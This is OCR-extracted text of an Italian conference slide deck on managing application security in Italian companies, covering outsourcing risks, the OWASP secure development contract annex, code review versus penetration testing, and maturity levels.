Vulnerability
Management

Environment |

Hardening

Operational
Enablement
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—+SACA | Le maggiori criticita delle aziende
italiane nella gestione dell'SDLC

« Qutsourcing dello sviluppo: fiducia cieca nel sw acquistato

— Verifica di sicurezza solo dell’applicazione running (WAPT), non

Design e Code Review

— Utilizzo di framework open source che introducono nuove

vulnerabilita

— Aggiunta di componenti da terze parti senza fare review (Js,

banner)

» Qutsourcing dell'infrastruttura: fiducia cieca nella gestione

— non ci sono contratti di gestione delle problematiche di

sicurezza, degli incidenti e delle modalita di deploy.
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HSACA Sviluppo in-house o in
S outsourcing?

® Mondo ideale: I'azienda ha team di persone differenti (interni)
per le fasi di :

® Sviluppo
® Review
® Testing

Sviluppo sw Code Review Testing
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Sviluppo in Qutsourcing

l

Linee guida di

£
' -
TR
i

Development
Team

sviluppo sicuro e

checklist

Contratto

£
WA
m@gg
1y
Code Review

Team

Metodologia di
Review
C_he;klist_

=
=5

CR Tools

=
' -
" -
4y

Application Testing
Team

Metodologia
di Testing

\g

PT Tools




—HSACA | Collaudo software sviluppato in
e Outsourcing

« OWASP Secure Software

Development Contract Annex OWASP

The Open Wed Application Security Progect

« Definisce un insieme di regole

da far scrivere nel contratti di

SECURE SOFTWARE DEVELOPMENT
CONTRACT ANNEX

sviluppo software al fine di
rispettare le specifiche di

sicurezza

WARNING: THIS DOCUMENT SHOULD EE CONSIDERED GUIDANCE ONLY.
OWASP STRONGLY RECOMMENDS THAT YOU CONSULT A QUALIFIED
ATTORNEY TO HELP YOU NEGOTIATE A SOFTWARE CONTRACT
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N

o1

Ma non tutte le condizioni sono giuste per noi ..
Ma chi dovrebbe pagare per queste attivita ...
Ma il livello di rigore e SBAGLIATO ....

Ma Non Possiamo Assumerci Un Rischio Cosi Elevato

Ma come possiamo garantire codice di terze parti ...

Ma e troppo difficile da produrre tutta questa

documentazione ...




TISACA Filosofia del documento
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(a) Le decisioni sulla sicurezza saranno basate sui rischi. Le
decisioni saranno effettuate congiuntamente da cliente e sviluppo

(b) Le attivita di sicurezza saranno bilanciate. Distribuite in modo
uniforme nell'intero ciclo di vita dello sviluppo software.

(c) L’Attivita di sicurezza sara integrata. Tutte le attivita e la
documentazione sara integrata nel ciclo di vita del software per gli
sviluppatori e non tenuto separato dal resto del progetto.

(d) Le vulnerabilita sono attese. Tutto il software presenta dei bug. Si
cerchera di identificare le vulnerabilita piu presto possibile nel ciclo di vita
del sw.

(e) Le vulnerabilita saranno condivise. Tutte le informazioni relative alla
sicurezza saranno condivise tra il Cliente e Sviluppo immediatamente e
completamente.
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(1) Security Requirements area f*

« Validation and Encoding.

« Authentication and Session Management.
 Access Control.

 Error Handling.

 Logging.

« Connections to External Systems.
 Encryption.

« Availability

« Secure Configuration.

« Specific Vulnerabilities. “OWASP Top Ten Most Critical Web
Application Vulnerabilities.”




weaca | (2) Librerie, framework e
prodotti

* Disclosure. Lo sviluppo deve indicare tutti | software di
terze parti usati nel software, incluse tutte le librerie,
strutture, componenti, e altri prodotti,

slacommerciale, gratuito, open-source o closed-source.

« Evaluation. L'ideatore dovra fare ogni ragionevole
sforzo per assicurare che il software di terze
parti soddisfi tutti i termini di questo accordo ed e sicuro
come codice personalizzato sviluppato nell'ambito

dell’accordo.
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(3) Security Review

Right to Review.

Il cliente ha il diritto di rivedere il codice a proprie spese in ogni momento fino a 60
giorni dalla consegna. Lo sviluppo si impegna a fornire un supporto ragionevole del
team di revisione, fornendo il codice sorgente e l'accesso ad ambienti di test.

Review Coverage.

Security Review comprende tutti gli aspetti del software fornito, incluso il
codice personalizzato,componenti, prodotti e configurazione del sistema.

Scope of Review.

Come minimo, la revisione riguarda tutti i requisiti di sicurezza e le
vulnerabilita comuni. La revisione puo includere una combinazione di scansione di
vulnerabilita, pt , I'analisi statica del codice sorgente e il code Review di esperti.

Issues Discovered.
| problemi di sicurezza scoperti verra segnalato sia al client che allo sviluppo.




TISACA (4) Assurance
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(a) Certification Package.
Lo sviluppo fornira un "pacchetto certificazione" costituito dalla
documentazione relativa alla protezione creata durante il processo di
sviluppo. Il pacchetto dovrebbe stabilire che i requisiti di sicurezza,

progettazione, implementazione e risultati di test sono stati compilati.

(b) Autocertificazione.
Lo sviluppo certifica che il software soddisfi i requisiti di sicurezza, tutte le
attivita di sicurezza sono stati effettuate, e tutti i problemi legati alla

sicurezza sono stati documentati e risolti.

(c) Nessun codice dannoso.
Lo sviluppo garantisce che il software non deve contenere alcun

codice dannoso, come virus, worm, backdoor, malware.




—HSACA Security iIssue management and
" Rome chapier acceptance

» (5) Acceptance. Il software non puo essere considerato accettato fino a quando
il pacchetto di certificazione € completo e tutte le questioni relative alla
sicurezza sono state risolte.

1. Security
% Requirements %

Sviluppo Cliente

2. Librerie e
framework

5. Acceptance

Secure Secure
Software Software
Development 3. Security Development
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Sulla base dei processi di
sicurezza implementati e alle
linee guida adottate, e
possibile pensare a 3 differenti
livelli di maturita dello
sviluppo di software delle
aziende.

-.  IIFase
- Linee Guida
- Checklist

- Percorsi mirati
. . di formazione
- Corsi generali

sulla sicurezza - WAPT continui
applicativa con recheck

- Check veloce su
tutta
I'infrastruttura
applicativa

III Fase

- Linee Guida
- Checklist per fornitori

- Percorsi mirati
continuativi

- Secure Code Review e
WAPT continui con
recheck periodici

- Knowledge base su
Application Security




#SACA Quali livelli di maturita hanno le aziende

Rome Chapter italiane?

Secondo l'esperienza di
Minded Security su 30 aziende
valutate, il grafico seguente
mostra il posizionamento delle
aziende italiane in base al loro
core business.
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La gestione della sicurezza appplicativa nelle
aziende italiane

Introduzione alla sicurezza del software

Le maggiori problematiche web

Comuni approcci non strutturati alla gestione della sicurezza
applicativa

Le iniziative OWASP per il supporto all'SDLC

La maturita dello sviluppo software nelle aziende italiane

La creazione di un Sofware Security Program -
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Come puo un’azienda difendersi e gestire tutte le

problematiche di sicurezza del software?
« Cultura, formazione continua
* Linee guida di sviluppo sicuro
« Metodologie di review
* Processi di verifica del software

* Processi di gestione delle vulnerabilita
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* In-house vs terza parte?
 Adozione di tool vs analisi manuale?

« Code Review vs Application Testing?
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* Vantaggi:
— Portare cultura in azienda

— Creare nuove competenze

e Svantaggi

— Spese per tools, sviluppo metodologie

— Molto difficile arrivare ad una accuratezza elevata, serve molto

tempo per formare il personale

— Serve personale dedicato




’HSACA Verifica della sicurezza: terza parte
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« Vantaggi:

— Utilizzo di personale specializzato su queste attivita con

competenze tecniche allo stato dell’arte

— Risultati piu approfonditi
e Svantaggi

— Poco scalabile su centinaia di applicazioni

« Quando si applica:

— Su applicazioni critiche
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Secure Code Review: l'attivita di secure Code Review consiste
nell’analisi di sicurezza del codice sorgente dell'applicativo linea per linea:
viene anche chiamato test di tipo white box, per sottolineare il fatto che chi
esegue la verifica ha a disposizione la conoscenza completa
dell’applicativo (insieme dei sorgenti).

Web Application Penetration Testing (WAPT): I'attivita di Web
Application Penetration Testing consiste nell’effettuare una simulazione
reale di un attacco informatico all’applicativo in oggetto al fine di valutarne
I'effettivo livello di sicurezza. Tale test, viene chiamato di tipo black box in
guanto in questa circostanza chi compie I'analisi non ha a disposizione
nessuna conoscenza sul software, e vuole garantire che non siano
presenti problematiche di sicurezza prima del deploy in esercizio.
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 MITRE found that all application
security tool vendors’ claims put
together cover only 45% of the known
vulnerability types (over 600 in CWE)

. Claimed
- Coverage
45%

« They found very little overlap between
tools, so to get 45% you need them all
(assuming their claims are true)
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Trovare vulnerabilita nel Trovare vulnerabilita nelle

Codice Sorgente La combinazione delle @applicazioni sviluppate
(White Box Testing) tecniche produce I risultati(Black Box Testing)

migliori
Manual . Manual
Code Penetration
Review Testing
Automated Automated
Static Code Vulnerabilty
Analysis Scanning

‘ - ‘
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& % FASE DI SVILUPPO DEL SOFTWARE

Team di

sviluppo I release R I Fase di verifica durante lo
sviluppo del software

FASE DI SECURE CODE REVIEW
Secure Code

Review Team

FASE DI PRE-ESERCIZIO

Team di
sviluppo Applicazione running Remediation

Z. ,\, Fase di verifica durante la
t\l > messa in pre-esercizio

FASE DI WEB APPLICATION TESTING

Web Application
Testing Team
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Governance Construction Verification Deployment

release
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http://www.owasp.org/index.php/File:WebScarab_after_browsing.png
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Domande?

OWASP: http://www. Owasp.org

OWASP—Italy: http://www. owasp.org/ index.php/ Italy

matteo.meucci(@owasp.org
matteo.meucci@mindedsecurity.com

Grazie!
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